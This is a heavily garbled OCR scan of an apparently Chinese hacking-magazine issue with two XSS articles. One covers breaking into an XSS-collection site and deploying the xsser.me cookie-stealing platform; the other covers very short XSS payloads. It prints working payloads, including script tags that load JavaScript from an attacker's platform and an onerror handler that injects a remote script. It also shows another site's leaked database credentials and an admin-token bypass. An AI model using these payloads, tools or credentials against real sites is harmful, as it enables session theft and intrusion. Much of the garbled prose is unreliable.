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F—F BRLR

BT, XSS T EHEHE

fE#&: StrOng
KH: EEWIE - FidckTeam
Mtk: http://team.fAck.org

0x00 Bf &
RIS B ORI TA) SR B B 5 X S B IR R AR VG, A SCH P IR B 45 7] T HAR R
BSR4 BRIk, ARG, FHIERE 1D, AR, BIRIXHER TR 2
FH SAE & i IR I £, (H2 A SAE 1A & RISt i s ghis s 7, — MRk, =
MEEEHFESIRN, HYA VPS mE IR E R ves I8, fa vt T 2 W A
FRATTH 7 1) e 2 [ i P PR, Pl DA 316 [v] RIS 2 | AR RIS, xsser.me FRVRASFRAE 7 (] HL
BARI, FENTEE URL EE IS oo o (ERARATTF 23 1044 2 R h FORRATL U8 R FRAT T AT
PAe% 5] RS B T AL T, A B REKBEAAR SR W @i, Wl By FAR
IFE5E XSS & a&a s, iEFRAT—EILFR .
0X01 2 [a)2&
TATH MR E
xssing @Yaseng
75 [ FA5E 2 2k3 +iis6.0
http://www.webweb.com/A &) H i AR i #8 g2 i H
B SEFRATTIAR xssing JRAS 3
http://code.google.com/p/xssing/
PR — Win R CA5RERE T, Wk 1-1-1:

APPSNUEXVIDWCUTTITIVIGUNITIIUNL PP FEEX SENU_TN—EN| Senu_sae_imnan) 0 G = BRI VIsny

L je]

QERZE—RZB
a B ERF R 7 Bphpilli® i#R (vauc/uauc.php l—1 os_start())

qELENB R
a: & & apps/index/action/User. Action.php EmAYE ALBHBHE X #eh Ttoken(H

q E4IB?m=xing&a=info&bid=29 R4 R RA3ur 2% 8 /xing/info/bid
X RmvcERRR BT WETRS Ul rewrite

QI FzERE #: css BRRNEH*
a:FIHE X — T vauc/define_php define(SITE_ROOT,"FJikurl Fhttp")

qi2 REBBE®M®R TG § /demoltest.php —B)iE echo htmientities(SGET[a]));
AT HRHET ZTMEFRIEEEHEE

A

B 1-1-1
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1 2641125 \xssing1.3\apps\index\action\User.Action.php 12080 F A PE, a1 1-1-2:

106 B 7e0

4 ~ L 4 P
* fgeas FURSERFO

. ZEEAE : wox-upaeng.we/ 2g=u
1 =] function get_incode()( 2
1 o
112 $n=intval (§_GET(['n')): ,/’,
. $token=§ GET(['token']: _///
114 "
115 B 1£($n 65 Stoken=="admin) {
116
117 $incode"new IncodeModel():
119 [j for(S$i=0:81<~8n;:81++){
121 echo SITE_ROOT."71=",§incode->add()."<br>";
K"o1-1-2

Admin XS ULEE X, s sb, B PR AT DAASECER A

\xssing1.3\config\mysql.php

FIOT G BESE S B AR 2, A 1-1-3:

| j#iCAlge <\ Administrator\Desktop\HEE S {45 \xssing L.3\config\mysgl.php - Notepad-

MEP = 5E #FFOS NEW B O ES0 =2ED =0 ETE
cHHEBE za £ Mb 2€ g &% BEE

E confiz. pl'qt:! E rn}'sql.phﬂl

1 [H«?php

2

&

4 define ("DB_HOST", 'SQL1003.yehush.Gom')
= define ("DE_USER", 'DE 953284 5898fc admin'}):;
6 define ("DE NAME","' DE 953284 9898fc'):
7 define ("DE PASS", "S9858fcH858fc"):

8 define ("DE_PORT", '3306");

g define ("DE_PRE", 'xg ') :
10
11
12 | //RE R sasm T
13
14 [H /*
15
16 define ("DB_HOST", SAE MYSQL HOST M);
17 define ("DB_USER", SAE MYSQL USER):
18 define ("DB_NAME",SAE MYSQL DB):
15 define ("DE PASS",SAE MYSQL PARSS):
20 define ("DB_PORT", SAE MYSQL PORT);
21 define ("DB_PRE", 'xg ') :
22 T
23
24 i O

K 1-1-3
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\xssing1.3\uauc\define.php 1K 1-1-4:

73
24

25 define('5I OT',"http://test1123-001-sitel.sitedfuture.con/™); //{FHsae HE
26 define ', SITE_ROOT."static/");

27 define ('3 JRL', STATIC URL."js/");

28 define('s URL', STATIC URL."style/");

29

31 [ /*

B 114
BECHIRI 2 ET URL Mk 58 I SCHAS BB 20 45 oK .
SR 51 f\xssing1.3\xing.sql S A EHE ZE, Wl 1-1-5:

php =

i ## | L sqL 4 #BE &R | @ S | B SA | & EE
@ il 3 ey @
o SAET. ATT 14 PEBEe (xing. sql)

db_993284_9898fc >

—— phpMyhdmin SAL Dump

J xg_browser -= werzion 3. 4.5
|| xg_incode —= http: /fwww. phpmyadnin. net
J xg_info —— F#l: localhost
=] =zz_project -- AREEEE: 2012 = 11 B 16 B 14:39
-- EEEEEhmE: 5.5. 16
[7] =g user —= FIF 7 5. 4 Obetad-dew
- ] ATM AAT EATTEo TN LA ITLT M ST TeEha . uoa maT SRmAAFRNEEA AR L cAnsRaT

) HEHEX

K 115

XF ) PE 44 BN

R G BATT EAETRA T Z HTAE L1 xssing, FTP.

XIS T IX KRB AR E 2 A .

HRAAE R8I JE 1 25 D D91 198 9 A b 5 A s v i

http:///R )L/ /?m=user&a=get_incode&token=FREZ f{) = E&n=10, Uk 1-1-6 FE 1-1-7:

5@ 11- el sitedfuture.com
o XSS B5 ZImfi SRR sErres W 2852 - REE. PHPCMS V9 hizs... 5036 [ file - www.cucaoc... [ BEER ME-IR

K 1-1-6
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A startend.Blog's [ XSS

http

http:
http:
1/ 1est1123-001 —sitel.

http

http:
http:
http:
http:
http:
http:

1/ /test1123-001-sitel.

/itest1123-001-sitel.
//testl1123-001-sitel.

/#1est1123-001-sitel.
/#1est1123-001-sitel.
/i test1123-001-sitel.
i testl1123-001-sitel.
Fftestl123-001-=itel.
//1est1123-001-sitel.

H

sitedfuture.
sitedfuture.
sitedfuture.
sitedfuture.
sitedfuture.
sitedfuture.
sitedfuture.
sitedfuture.
sitedfuture.
sitedfuture.

Bx =i

sitedfuture.com

b

com/?1=5dc1 6306520
com/?1=2e8e4f58f3h
com/?1=c3feelEh RS
com/ 7140741 35cd7a
com/ ?1=2b9bT3fbE3b
com/?i=cabbf36b107
com/?1=4a9ad51b%6a
com/?1=10f601ea345
com/P1=6E0kddTde 21
com/ ?1=h0cf0TETEbS

B Mk : www.hackcto.com

ZErTs W eEsE - MEE..

PHPCMS VO H0EE...

2% ES . HACKCTO-2013-09

B 506 [

K o1-1-7
AR A h, WK 1-1-8 A1 1-1-9:

BH | BimE =i

222 2013-08-24 22:52:34 A x BB
1 2013-08-24 22:52:27 N

K 1-1-8

TS
€8 Flements I| Resources | Hetwork | U3 Sources ([ Timeline o Profiles g;\udits “gf Console
& - ‘s & : BT

Hame Status
Path Hethod Text Type

Z00
[1):4

Initiator

-] thook.
<:\”| guestbhook. asp GET text/ html Other

200 guestbook. asp 27
text/himl

_| testl123-001-sitel. sitedfuture. com?u=fbZ599
[1):4 Parser

test1123-001-=sitel. sitedfuture. com

| index. php?bid=4T&a=infoktitle=XCTXEBXCAXFARC]XF4!
] testl1Z3-001-=itel. sitedfuture. com

200 text/hinl test1123-001-sit
0K LA Seript
http://test1123-001-=itel. sitedfuture. comfindex. php?hid=4Tha=infolitit]le=¥CTHEBECARFAUC 1HFA%D1 048w 1=ht tpH3AS /127 0. 0. 143499/ guestbook. ax)
9808 transferred | 21Tms (onload: 218ms, DOEContentLoaded: 106m=)

3 regquests I

K 1-1-9
IRECE| s, ani 1-1-10:

CEALAGNO
http:f/127.0.0.1:99/guestbook.asp

BRAFVIRTHVHHCHCU GFH=LEESMERCK Y SHHUFAD THHE EFDY TYHGAENEEUDXDL, VserInfo=UserName=1
HEZHIERICzeript¥20sy eB3DHE2ht tp: f testl123-001-5itel. sitedfuture. com/¥3Fui3Dib2539
HEPHIERIC, ser iptHoEd s erEmai 1= 1422 H3E¥SCcr ipt #2820 sr c¥3D%ECht tp / F test1123-001-=i te
1. zitedfuture. com/ ¥3Ful3DEbeSO0%eeSERSC soript ¥ Ebhomepage= 1 %P %3E¥Caeript ¥20sr 0
$3DHEEhttp: S test1123-001-sitel. sitedfuture. com/ ¥$3FulsDEbeSO0%Fe4SERSC seript ¥3E

K 1-1-10
0x02 VPS &
1). Apache 1%
xsser.me ¥ I -
1. ESCHEE php AL, FRIX B A2 wamp2.2 FIARAS, 0] PUR 7 5 22k php 145 .
2. F#k xsser.me MRS, iR 40 BIAH R H 5% .
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X R H P LT "xssplatform” H 3%, FFEMZ N T "xss”.
SRJG S AEH phpMyAdmin 7E mysql HBH & — AN 408 22, K% B 5% T 1) xssplatform.sql” 345
NAZEEZE, i 1-1-11 FE 1-1-12:

AR E

AERIERE o
|xss A M %I
1-1-11
phpMyAdmin 2
& (1]
= g Fllocathost » [xss
(BT HANE) B VEH [Jso 4 = E8M| S RE 2 BR BF ® 3 = Wik
xes sl
HEETEHE. ¥
@Aiuﬁ%ﬁ “XSS” . 3
© FaghR anxn -
EERED: [Dres - emcE
ESAMXH: |
SCHERECESR (gzip, zip) R ER. ’/
LA [EALERHR] AR M sql.zip

Mt & L - %

THMTHE: |uthl 2 | #) authtest, phe

FHEA:

P 5 A E R DE TR R E LR AL AL iR . |

NEfTRENEMTE: 0 ) yssplatforn. sql
Bl:

THEW: | | aro ||
s0L - AHEED:  [FETEeY = o

v/

K 1-1-12
3. midATE, LA AL 7R, K 1-1-13:

I}{SS """'I

o cormntig
o innwite req
o= kkeep=sae==1aon

o= rmiodule

o= projec:t

o project content
o= rermiind

O =eEe==ilon

R el

O U= er
K 1-1-13

4, PAT RN sql ER), BCNHCOKERSA . X ERHPRAM VBRI, FrLlEE

/T ip Hiht”192.168.0.104”, 4N 1-1-14 AP 1-1-15:

“UPDATE oc_module SET code=REPLACE(code, http://xsser.me’, http://192.168.0.104/xss’)”

¥ e T/ 4t 113 T EHHHIH: bttp://t.gq.com/hackcto HARHE: 44 15 H Er: 20 TG
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@\D calhost » l 53

S4M [Dso W BE BE 25 5 %A v ES

THRE s EfT soL &, @

UPDATE oc_module SET code=REPLACE (code, 'http://xsser.me’, "http://192.168.0.104/xss")

K 1-1-14

¢ RMT 31T (EEER 0.001% )

K 1-1-15
5. &% Mk H 3% N HIH config.php SCAF, #RIG ARG HLAER:, B0 L LI, W 1-1-16:

config.php

<php

dconfig "dbHest '] '127.0.0.1";
tconfigl "dblser'] ‘root’;
bconfig[ "dbPud’ ] -

beonfig[ 'database’] ‘s
bconfig[ "charset'] uttd’;
bconfig "thPrefix'] ‘oc_';
bconfigl 'dbType’] "mysql';

bconfig[ 'register'] ‘normal’;
bconfigl 'mailauth’] false;

dconfig[ ‘urlroot’) 'http:ffl@?.lﬁﬁ.ﬂ.lﬂ#fxss';
K 1-1-16
6 Vi M, RIEEN NS, Wk 1-1-17:

%7 W/ 3t 113 T B http://t.qg.com/hackcto WAERHB: 48 15 H Er: 20 TG
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.. }{SS Platfoarm x |T|

e 192.168.0.104/xs5/index. do=log O c

- XSS Platform

el EAEI |

Bl 1-1-17
TEIX LR SZE A IH AURRA bR SRS 2 TR B, BAIR, K3 type="button"#
A submit” A RERRAZ . BB IHARA, BEIME, KB ofT ~ 7)ol 1-1-18:

XSS Platform

AR
FrEiuER EEESREE AT -
it e [1111 |
H s xormnot 4-Z20--==
1 E =] mail@mail. com SR 2]
= - 4 A . . B-20-j-==
EEADEERIA CrrrrT |

IE=Ea 8 BEEEiAENRS7 5SS

K 1-1-18
8. AW NN B s nl LRI A A S8 )5 0T LB type N “submit”. A5 kil
BT AT LR T o AR XA SO — AN I B 28 s PR SO A BT AR i SO AR I 1] B 2 ik
FIXFERI AR,  Fr AR EAE SOR SO ) type
B SO H 5%, Wil 1-1-19, JESCH B 3%, il 1-1-20:
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Hittik (o) I@ D hwampwwwZoessh themestidefaul thtemplates

Hidk (D) Iuﬂ Do amp w2 |xss"ntemplates_n: | AR~ | E
- ——- |#| header. html 1 KB Firefox HTML

Em " || index. html 2 BB Firefox HIML
|® login html 2 KB Firefox HTML

3| 4%14" 14" |ABIBAIF¥¥Login. htnl. phyp © nems hin) 2 Fireto ML
¥ module. html 2 KB Firefox HIML

¥H08" 084 0BAC21 30%8r ezl ster. hitml. php ] module_create. hinl 5 KB Firsfox HINL

= = #| module_set. html S KB Firefox HIML
EI%%TI 714 T14F4B1T¥¥header. hinl. php @) module_view. hinl 4B Firefox HINL
. # notice html 1 BB Firefox HINL
' DS—StDrE Eproject_create.html 3 BB Firefox HINL
|8 project_setcode, himl 4 BB Firefox HINL

|8 project_view, himl E KB Firefox HIML
] i =, hitml 2 KB Firefox HIML
E KB Firefox HIML
2 KB Firefox HIML

K 1-1-19 K 1-1-20
BB Sy, Wl 1-1-21:

<t colspan="2"x¢

K 1-1-21
IR E RN, Wi 1-1-22:
iF AR R Th
B 1-1-22

9. RFAE—ATHENIKT, B FELE8EL, Wi 1-1-23 F1E 1-1-24:
=108 03 H = M
fherEE Hailwsl: =Hoa = fliE3EmE
S - = e
apache httponly 1] = B=X o

OYpAass

ITJTustTest
P S 5 = 8

XSS s | ik

i i T_T oo e &

[ m—= | [ HmsH |

K 1-1-23
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B S’ [C)libs ST
|[Dseripts Tk
|[D)source T
Iﬁ E "Eﬁ |[Z)templates_c THE
| themes i
[E). 15 5tore TIE DS_STORE it

|J u S'tTe S‘t |#) authtest. php L 1B PIE File

|#) capteha. php 1 KB PP File

|#) confic php 3 KB PIF File

. . |#) index. php 1 KB FIP File

: Bhi iR H |#) init. php 2 1B PHP File

%%EE%H‘]E@ r:j robots. txt 1B R

@ Fkeepsession O keepsession | Ewsser ox 89 KB CRY X

E] xzsplatform. zql 16 kB SOl Jrif

« [ apache hitponly bypass B LB IOACCESS Ut

B 1-1-24 K 1-1-25
PATEAL T i Bk AT xss R 500 75 A — AR F i, g url .
10. http://192.168.0.104/xss/WaBSHV?1377485430
R EAE M L H 3 F A1 —A4.htaccess” SCA-RIw], 4n 1 1-1-25.
AN

<IfModule mod_rewrite.c>

RewriteEngine on

RewriteRule A([0-9a-zA-Z]{6})$ index.php?do=code&urlKey=$1

RewriteRule Ado/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3
RewriteRule “register/(.*?)S index.php?do=register&key=51

RewriteRule “register-validate/(.*?)$ index.php?do=register&act=validate&key=51
RewriteRule *login$ index.php?do=login

</IfModule>

11, G —A html STEFERJE W0 &8 07 [ IX A html SCfF, K—F, 408 1-1-26~&] 1-1-28:

[=] #z=. html
1 |<5cript src= »</8cript>
K 1-1-26
#AmE fAEEmE
RE &R e M Bl £
|JustTest T T0 0@ @ 1 2013 il
K 1-1-27
O 4% WA WA Request Headers ﬁ
[ -fE  2013-08-26 + location ECMEGGGGS . HTTP_REFERER: e
11:00:10 s s html « HTTP_USER_AGENT : Mozilla/5.0 (Wind
+ toplocation :_ ows NT 6.1, WOWE4, nn23.0) Gecko/20
SEERE s htm 100101 Firefow23.0
v Cookie : + REMOTE_ADDR :
s OpEner:
K 1-1-28

12, Muldy. #N R ES B O RBUR, R DU BOEIEIS . Br user BRI )

% 10 Ui/ 3 113 GU EMIH: http://t.qq.com/hackcto HRHE: 44 15 H EMf: 207G
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] adminLevel T A”17EP AT . phpmyadmin B E X B M. B0E AT sql iB4) “UPDATE
"xss'. oc_user” SET “adminLevel’ = '1' WHERE “oc_user'.’id" =1 LIMIT 1;”, #1& 1-1-29:

+ aFc IO

"——I_—F = dd adminlewel
M - MR e 54 @ MiER 1 1
B 1-1-29

13, SRJE B config.php S0, 2R MHEC B o0 R Fe VFgkils i it 285 BB & o, 1 1-1-30:

"irnwitd";

14, #RJ515 “http://192.168.0.104/xss/index.php?do=user&act=invite” T [f],
RIBEBERS, G 1-1-31:

i iliblage

Szm¥milia (1) LR HER
HiES CE R
2328000 1 NG

K 1-1-31
XA DT I B SO S RSO B AE R T AN S, & 1-1-32 Fi ] 1-1-33:
HhtiE (02 0= D wampowwwZ ==t templates_o

SFR -

|£| HEIATIAET IABOEADFES]l azin. himl. php
|£| %40 4D53 T 4DS0OCF2ARSproject_wiewcode. himl. php
- #EED BDE BDEAZIS8S®%¥u=ser  inwite. himl. php

K 1-1-32

BHAE @) [ 0 o vreeee oo eree]
= [ =3

|& header. hitml FE Fireforx
|& | index. himl FE Firefox
| login. himl FE Firefox
& mernm=. himl FE Firefox
|8 module. himl EE Firefox
|8 module_ create html FE Firefox
|8 module =et html FE Firefox
|8 module_wriew. himl Firefox
|& notice html FE Fireforx
|& project_create himl FE Firefox
FE Firefox
FE Firefox
EE Firefox
EE Firefox
FE Firefox

e
7

|& project_setecode. himl
|& project_wiew. html

|8 project_wiewcode. himl
|8 register. himl

n=zer_1nwite. html

[ T T o O - o O ) Y e T A O e T v

K 1-1-33
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15, X A ELIE SIS D 2 4R E IS AN IER e R, & 1-1-34:

R ER T iR 2 EE FMALTH
K 1-1-34 K 1-1-35

5 FH IERR 5 iy i —, &l 1-1-36, 2y it scshin & 1-1-35:

g £3=80901 L
M PP yao 4-20-7-=
(1] E £ yac@email. com EIER
=B L L L 1 1 1 B-20-7-=
PRI rryryrry |

| B3 | CSmansc s

K 1-1-36
2).11S (A3LHH H 2cto)
Lmy 735, & f it 88 21 ) ) AN g R 7
A2
1. HaA )T xssplatform.zip, RJG15E4 config.php HLI AR BE &2 B, GFEH 4,
R, BAEREA, Ui URL RGN S E
2. 7£ web R H3& B — xssplatform.sql, SN, AJE S A data.sql(VE =G5 IT)
3. HEANHER EPUT BB SRS N E .
UPDATE oc_module SET code=REPLACE(code,'http://xsser.me’,'http://yourdomain/xsser’)
BARTE M P e C3RACEM Y BB, R EITT: $3] themes\default\templates
H 3% T i register.html 125055 53 47400 .
<input id="btnRegister" type="button" onclick="Register()" value="#&3Z i FM" />
BN
<input id="btnRegister" type="submit" onclick="Register()" value="#& 323 /#" /> .
BN RIB B SR RS LB EE 404, IXMEAMIXER TIR £ Rewrite, 7E IS MAA B KL, %4
TR T o
H R4 TR -
http://XXXXX.XXX/Ft3Su0?1371909034 X F£ 1% 404 ;
http://xxxxx.XXX/index.php?do=code&urlKey=Ft3Su0 I .

i

liais
=
S
S
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FRYTT

1. F#K ISAPI Rewrite3 full Fiz A

F#AE:  http://pan.baidu.com/share/link?shareid=1076846607&uk=3778218071

FHRIFZ, Jo2%E ISAPI_Rewrite3_0073.msi, 35 5, 1T -

C:\Program Files\Helicon\ISAPI_Rewrite3 (ERi\Z:%E)

2 RAR £ HLTHI 1] ISAPI_Rewrite.dIl FI7E AL B [H A N 2% ELAR L 11 ISAPI_RewriteSnapin.dil 5
il R 55 BT B GE&AD.

AR5, ISAPL_Rewrite3 3142255 H 5% network service AR, rar £ B A 2238 35007 .
BeE5E 2 JGFT T Helicon Manager.exe, #RE|H HIMuE, AEAME edit #2401, IR
TIPRE G b 228047 1o

RewriteEngine on

RewriteRule ~([0-9a-zA-Z]{6})S index.php?do=code&urlKey=51

RewriteRule Ado/auth/(\w+?)(/domain/([\w\.]+?))?S index.php?do=do&auth=$1&domain=53
RewriteRule Aregister/(.*?)$ index.php?do=register&key=51

RewriteRule Aregister-validate/(.*?)S index.php?do=register&act=validate&key=51

RewriteRule *login$ index.php?do=login

ZIJGEEJE NS FRHE .

0x03 SAE HFTiR=

SAE KR @A L D& ATE LT TS, KR EHIE A SAE = fl@ T H Lk

ARSI T T ) P R e e Hp T

stepl: FANEURE SO

step2: 047 sql & #HHE 2 -H 5 AL xsser.me sql:UPDATE oc_module SET code=REPLACE(code,

'http://xsser.me’, 'http://VK & ¥].sinaapp.com');

step3: B CQHC B SO BT KGR MR AR BB AR A1 256, config.php SCAFEI%L 2-3 1T, 12K

Sconfig['urlroot T N R A4 ;

stepd: T CAVIIG T IRE sae | [#) mysql 1 memcache.

WERARIEA 10 R, 3 R TS I @552 2010

SAE it F#: http://pan.baidu.com/share/link?shareid=1066438711&uk=3778218071

JE R R #: http://pan.baidu.com/share/link?shareid=10708036248&uk=3778218071 (%345 1%

FEAK[A]_F config.php 75 ZE 34 % 22 A0 <l & , 7] 2% http://zone.wooyun.org/content/3897)

BAE fitA& N#i: http://pan.baidu.com/share/link?shareid=1068986822&uk=3778218071 (%%

WIRIEATA] I config.php 75 B8 INEHE ZEAH )AL E, BLA init.php RE RIS H0O

BAE “Z &5 n] MR : TIPSR T BNV 0 B SIEE A3k 44 )5 1 0L /index.php?do=login .
(&35 JifEomiE: Fr

%277 Short Of XSS

fE3&: crackkay
KH: EEWIE - FickTeam
Mik:  http://team.fack.org

M E G R, MK EERIE A, AR S TR A RS It
0x01 HF&
BRI FE AL B A IR?

i

i3
=
S
Sl
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FESLPRHIE L RS K E A MR ? BEA? 2252 MFR? 8T, BRE S
JE, B ARHE G A SR . PR NN

UL, EREKREE, WOBE Q. ERZ R, BATRIE RS AR BRI TE—
TR . BT LLIXAN A % Bk BE R I R RE AN B A, RER IO BHR BEA R 1R 51 7

0x02 R SLH 3B R

Fe—MEAEEWIER, —APE LH, — N Z@EWNKE®R TS, HE @A
BT QQ 2R, & 105036 QQ-XSSs ARRY, {H 2 A BR G R R A, f 240 3K
R FRHAT FRTRAENS, WK 1-2-1:

=script=alert(1)=/script=
K 1-2-1
OX03 {Eé\ﬁ “@”
“><script>alert(1)</script> ....ccoeeveiiecieennenne. 27 letters?

Alert(1)? No Run?

Impossible? No!

FESERRAE O, P LA IS <h >5[ s FAth o 4 ) B 25 AR AE XSS BT, A4 m) LA
EFE? HTML 2 — 117 AR MERE S, HMEE A </hl>, 18R 2 i Va8t R v] DLAR R
H<hl>xss</hl><hl>xss UifE 1-2-2, & 1-2-3, & 1-2-4:

“=<h1=xss Wﬂgﬁ el —BER EEE,  187499¢
em
Kl 1-2-2 K 1-2-3

y 9 WY
suritysTeam

K 1-2-4
R R RAE Y g, AT FEHIRZ AR BHREBIFRATME R . Ty H—L
EE AR B A FH -
BRI EB] 1: <svg/onload=domain=id>
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H AT R b

BTN S Version: 4.1.2.2000

Chrome % 2%: 29.0.1547.57 m

S1:7E chrome W W &8 A7 7E — AN RIS URIR, 9t 4 Ui Rl e 2

S2: 7t chrome NI F ATV Ml www.baidu.com, L6 & kKW HE — T N2,
document.domain="", Ft&HILLLFHER, A 1-2-5:

Elements Resources Network Sources Timeline Profiles Audits | Console |

> document.domain
www .baidu.com"

> document.domain = ""

@ P Error: SecurityError: DOM Exception 18

>

1-2-5
S3: A4 chrome YXJ”’“%&X?E*AHW&EX/E{H%V N A TE U5 M www.baidu.com.
Ky — T C(com JFHIEH—) HBE — T NZT document.domain="", % &4 R
HILLL T B A A, anlE 1-2-6:

Elements Resources Network Sources Timeline Profiles Audits | Console |

P Resource interpreted as Script but transferred with MIME type baidu:
> document.domain

“www.baidu.com."
> document.domain = "'

e

J

L
-
-

K 1-2-6
SAXANEAFIH ?
WU AN, B, FEFIRATESL T, DOM 2 HIER . MU TR a TS b K, b
WA LLERES a . BIRANZEARFI AR ? AT LATRZ G, it =5 sl f,
B BRI Cookie. FTHIFAEH Chrome HI4% I & kiR — T XA N AL BRI -
S5 KA FH BT, AR I8 1) Bty DU a0

<IDOCTYPE html>
<html>

<body>
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TEAEBRIA T XSS TUH U T -

S6: T~ TH FRA T3 ik v [m) FRAT A I i Mk T i, B2 a.com./12.html, ZRJ512H domain H A&,
R 1-2-7:

Elemnents Resources Network Sources

y» document.domain

(7 4c Qg
scurity Team

1-2-7

S7AR SR FRATAE S S & B A window.open() 5 iE4T T HFAFAE BRI 1) XSS T« 485 [FIFE
domain A, 4Nl 1-2-8:

> |

(& co-./'lrl.htnl = Google'Chrone

[ b. com. /11, htnl

gemerts Resouces Netwark souces Tmeie | 13X b, com. /11. html

» document.domain
w

R T (g g e y Developer Tools — http://b.com./11.htnl
» Window {top: Window, window: Window, Jo| Elements Resources Network Sources Timelne Profles Audits m

> » document. doman

undefined
» document.domain

, 4Ck QR
Ml al e cicccaaa -l M e 9curity Taam

1-2-8
S8 RMIM Emta] LA E 1, IALE a.com Al b.com AR 4L T [E 38 N1, AB-4 st el PASLHL
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DOM HBERIMES T .
S9:i@ it DOM = 5 GU A, Wit B ank 1-2-9:

hlﬂ 1w y |\mwh\u I|Hb,ll,vll‘! W I UL LW m
N A T e O A A | IR Ry

y document, domam
i y b.con./11.htal - Google Chrome

y var a = window,open("//b, com, /11, html");
undefined

y & document, write ("SR, com, LE{ED. com B0OK") 5 | »
0 » Syntaxrror: Unexpected token ILLEGAL . con. L. con, FOL

y & document write ("SRa, com, LEEb, com, S00N");
undefined

)

[’ b.con. /11, htnl

T

‘cunty Tean

S10: HeSEIXAN TR AL IR 2, Eetniid AR 3 XXX 1) Xss Ui, FiEdERES, REHEH
Ol ERE— AT, BEAMGEEE IR EYE T, il R DOM #R1E, —Iu%’Jﬁl 77
HE L COOKIE, %,

BIFIFZRB] 2: <svg/onload=eval(name)>

I A R b

BTN A4S Version: 4.1.2.2000

Chrome W %i#%: 29.0.1547.57 m

Internet Explorer: 1E10

Firefox: 23.0.1

S1:AEHEARAL L PE— R <svg/onload=eval(window.name)>

S2:X —BURAGE L svg F IR %447 onload ZH44:, PUAT HIRH BT windows.name £i%45
eval #U47, WIRILATE CHE— DY, SRIEAEIER) XSS AARSE? FinE — B, &
Hh R 3 ) B DL -

FAE BRI ) XSS LT :

S3:ARJEis T v, Wlkah R an ik 1-2-10:
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€ JavaScript 1288

1

' <html>

/head>

e src="11.html" name="alert(1l)">..</iframe>
</body>

</html> _—4t ‘ p B
sourity Team

K 1-2-10
FBHIFIFHEB 3: <ifonclick=URL=name>
Al I A R b
BTN A4S Version: 4.1.2.2000
Chrome W% #%: 29.0.1547.57 m
Internet Explorer: 1E10
Firefox: 23.0.1
S1: ETIARAS % — R : <i/onclick=document.URL=window.name>
SLH SR B AN E—BEAZ LD, KEHAME T, FRKHE—T. @ 'J—‘Tfﬁ#h“
I window.name N 245 document.URL #R 5 44T javascript 105, ARAFATATLAE
I FHWe 2
FFAEGRBFATN XSS TLIHI I R -

AU 3 ) B DU A0 R

BRI EB] 4: <img src=x onerror=eval(name)>
I 2400

HE Y Version: 4.1.2.2000

Chrome M i #%: 29.0.1547.57 m

Internet Explorer: 1E10

Firefox: 23.0.1
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S1AEHEARAL SCE— 1 <img src=x onerror=eval(window.name);

S2:AE R eval XK 1o @It img JTGE M src JREHIET, AT onerror A, @I ARERY eval
PAT window.name HLTHI XA ;

S3TPIRATE ARSI ? A Hh Koy (4 Bty U T -

TEAEBRIA T XSS TUH U T -

HseHIRZ R, YRRt AT DL B $2:<img src=x onerror=eval(alert(1)) />, &l 1-2-11:

V<html>
<head></head>

<img src="gss,xx" onerror="eval("alert(1)")*>
</body>

</htal> -_4";—'”" B
acurity Team
Eo1-2-11
AT Ph<img src=x onerror=eval(Z£ &) />, 411 1-2-12:

LRSSl 02 RIS S s

¥ <html>
<head></head>
¥ <body>

<img src="gss.xx" anerror="eval)')
</body>

</htal> 4£ \

Ko 1-2-12
LA e R ENE, BCE T R ASM s S, i 1-2-13:
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@ Javascript 128 ===

| Elements | Resources Network Sources Timeline Profiles Audits Console

g ,j
T Irity Tégam
K 1-2-13

FEBF|FHEBI 5: <img src=x onerror=with(body)createElement('script’).src="[JS Hidi]'>

H AT R b

BN A . Version: 4.1.2.2000

Chrome M| i #%: 29.0.1547.57 m

Internet Explorer: 1E10

Firefox: 23.0.1

S1:8Id img JUE N sre JRYEH S, AT onerror F44;

S2:] with 5Ef75] body, i#if DOM f]—" createElement J7 V%A — script J6&, FFd A

script 1) src J&VEFE 1) 75 B AR js ST ATITIE BB 1) H 1

SBIXAMERA VA T, HSZAEWE M

0x04 3241

AN PPT i —#87r (it PPT 5| IR #E R D, il 1-2-14 A& 1-2-15:
(M Firefox =

MV &7 Windows Live -

‘ € 9 | @ https: Jlive.com/? =><h1>XSSed</h1>

» . .
A J, Windows Live
Qo
fremprmpes,

Wa mm=aws = s R LR R Pl o S

Click here to continue

XSSed

"). SOURCE: System.Web FORM: " />

s~ marnyy ey Asm LT EN 22 I
P T R S T T AT G AR

K 1-2-14
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(Firetox

£} htps:// M lve.com/2 ... | + |
€ 9 | @ view-source:https:// B ive.com/? SN > <h1>XSSed</h1> 77 v & || Google
GOGOTWECRT RN A, WD AN Sy Lo 0 TS SWRCL L DL T, 0
AR
ar
Sd</td
<td<a id="hp|Continue” href="http://home. live.con/” title="Click here to continue™Click here to cor
</t
{/table>
I <I— Version: “13.000. 20429. 00" Server: BAYIDSLEGIAZ3: Datelime: 6/24/2012 2:28:56 PY —>
! <input type="hidden” value="MESSAGE: & potentially dangerous Request.QueryString value was detected f

* SOURCE: Systen. Heb
\ FORM:
4" What!?
K 1-2-15
i I A YA

R T XSS HY SR AL A R B 5 A XSS

SR JE R I E ORI ) T AL G XSS, R SEI .

<iframe src="target" name="javascript:alert(1)"> (B3 i /] JavaScript ] window.open)

& MEEIE 20 ANFRFREL XSS (ST SEHLA 7 2448 WL b T i — S LR OB 1 R A e R
PR35

INMTYSE

><i/onclick=URL=name>

IR 22 TR IR Z (/e i Oy EATHIE ARSI 4R), Il 1-2-16 2 1-2-17

{I== Version: “13.000.20429.00" Server: BAYIDSLEG1440; DateTime:
24-06-2012 1431:50 -->

<input type="hidden” value="MESSAGE: A potentially dangerous
Request QueryString value was detected from the client
(imembernameeasi=" ><ifonclick=URL=name>").

SOURCE: System\Web
FORM: acl
" curity Team

K 1-2-16
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T ack (g
ecurity Team
K 1-2-17

0x05 Bkl “4”

XANEEN L E A — AN AT, 4428 XSS challenge, KA XA LAt — T
19 Letters:

<x/x=&{eval(name)};

BRI HATC &S 7, (H2FREE 2 — R

BT A window.name J& 1 AH R H4AT javascript 4465 .

22 Letters:

<svg/onload=eval(name)

X ARG R T 2 —HEA, 2B window.name J&PEAE SKHAT javascirpt £CHD .
T I FRATTA I ) 3 O TR AT B

I A R b

BTN A4S Version: 4.1.2.2000

Chrome W %i#%: 29.0.1547.57 m

Internet Explorer: 1E10

FELEBRBE ) XSS LI -

A IR 3 (Y Ll DT «
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<body>

<iframe src="1.html|" name="alert(1)"></iframe>
</body>

</html>

LI javascript ATAURY, FHIAR” R HIRERS] T

10 Letters: eval(name)

SRR Eps ik

BN A% . Version: 4.1.2.2000

